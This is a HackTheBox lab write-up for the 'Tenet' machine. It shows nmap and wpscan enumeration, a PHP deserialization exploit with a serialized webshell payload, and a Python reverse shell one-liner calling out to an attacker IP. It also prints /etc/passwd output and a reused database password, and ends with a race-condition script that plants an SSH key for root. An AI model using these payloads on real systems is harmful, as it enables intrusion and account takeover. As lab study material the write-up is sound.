Tenet - Write-up - HackTheBox

Information

Box#

Tenet

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap wpscan bfac

Network enumeration#

Port and service scan with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.91 scan initiated Sun May  2 16:12:39 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.10.223
Nmap scan report for 10.10.10.223
Host is up (0.028s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 2 16:13:14 2021 -- 1 IP address (1 host up) scanned in 36.61 seconds

Web enumeration#

As we are facing a Wordpress we can launch a vulnerability scan + user enumeration with wpscan:

1
$ wpscan --url http://tenet.htb -e u

The two vulnerabilities found are authenticated so we can't exploit them. Two users are found: neil, protagonist.

It's possible to try to bruteforce the password for those two users but it's not very efficient:

1
$ wpscan --url http://tenet.htb --no-banner -U users.txt -P /usr/share/wordlists/passwords/rockyou.txt

I tried to find any vhost but without success:

1
$ ffuf -u http://tenet.htb/ -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:NORAJ -H 'Host: NORAJ.tenet.htb' -fs 10918

There is an interesting comment on wordpress:

did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!

A post is also giving another hint:

We're looking for beta testers of our new time-management software, 'Rotas'

'Rotas' will hopefully be coming to market late 2021, pending rigorous QA from our developers, and you!

For more information regarding opting-in, watch this space.

So I tried to find some backup files with ffuf and bfac but I only got some false positives.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ffuf -u http://tenet.htb/satorFUZZ -c -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt
...

.phps [Status: 403, Size: 274, Words: 20, Lines: 10]
:: Progress: [39/39] :: Job [1/1] :: 15 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

$ ffuf -u http://tenet.htb/rotasFUZZ -c -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt
...

.phps [Status: 403, Size: 274, Words: 20, Lines: 10]
:: Progress: [39/39] :: Job [1/1] :: 44 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

$ bfac -u http://tenet.htb/sator
$ bfac -u http://tenet.htb/rotas

While you don't find there is a file sator.php hosted on tenet.htb you have to guess it's served with the IP address http://10.10.10.223/sator.php (default fallback vhost probably).

1
2
[+] Grabbing users from text file
[] Database updated

We can find the backup file with bfac:

1
2
3
4
5
6
7
$ bfac -u http://10.10.10.223/sator.php
...
[i] URL: http://10.10.10.223/sator.php
[$] Discovered: -> {http://10.10.10.223/sator.php.bak} (Response-Code: 200 | Content-Length: 514)

[i] Findings:
http://10.10.10.223/sator.php.bak (200) | (Content-Length: 514)

Web exploitation#

sator.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';

public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}


public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

There is a PHP deserialization here that allow us to upload any arbitrary content.

We can even find a similar case on security stackexchange.

My PoC to generate the serialized webshell payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class DatabaseExport
{
public $user_file = 'noraj.php';
public $data = '<?php system($_GET["cmd"])?>';
}

$klass = new DatabaseExport();

$payload = serialize($klass);

echo $payload;

Here the URL-encoded form:

http://10.10.10.223/sator.php?arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"noraj.php";s:4:"data";s:28:"<?php system($_GET["cmd"])?>";}

Then we can access the webshell and execute a command: http://10.10.10.223/noraj.php?cmd=id

1
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We know the upload and command exec works so let's execute a reverse shell:

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.44",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

We receive it on our reverse shell:

1
2
3
4
5
6
7
$ pwncat -l 9999 -vv
INFO: Listening on :::9999 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:9999 (family 2/IPv4, TCP)
id
INFO: Client connected from 10.10.10.223:59112 (family 2/IPv4, TCP)
/bin/sh: 0: can't access tty; job control turned off
$ uid=33(www-data) gid=33(www-data) groups=33(www-data)

cat /etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false
neil:x:1001:1001:neil,,,:/home/neil:/bin/bash

Shell upgrade#

/var/www/html/wordpress

1
2
3
4
5
6
7
8
9
10
...
/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
...

We can re-use DB password over SSH: ssh neil@tenet.htb.

Elevation of privilege (EoP): from neil to root#

1
2
3
4
5
6
7
$ sudo -l
Matching Defaults entries for www-data on tenet:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User www-data may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

A script can be run as root via sudo: /usr/local/bin/enableSSH.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/bash

checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}

checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}

addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

Since mktemp will create a random file we need to make a race condition to write our SSH pub key into it.

1
2
3
4
5
6
7
8
#!/bin/bash

key='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINDGLndVd+2+y7FE7nVTrMtBvPiLNTMgObVw8s7d9B8n noraj@penarch'

while true
do
echo $key | tee /tmp/ssh-* > /dev/null
done

We execute that while running sudo /usr/local/bin/enableSSH.sh. Several tries may be necessary because race conditions doesn't always work the 1st time.

Then we can connect as root.

ssh root@tenet.htb -i ~/.ssh/id_ed25519

Share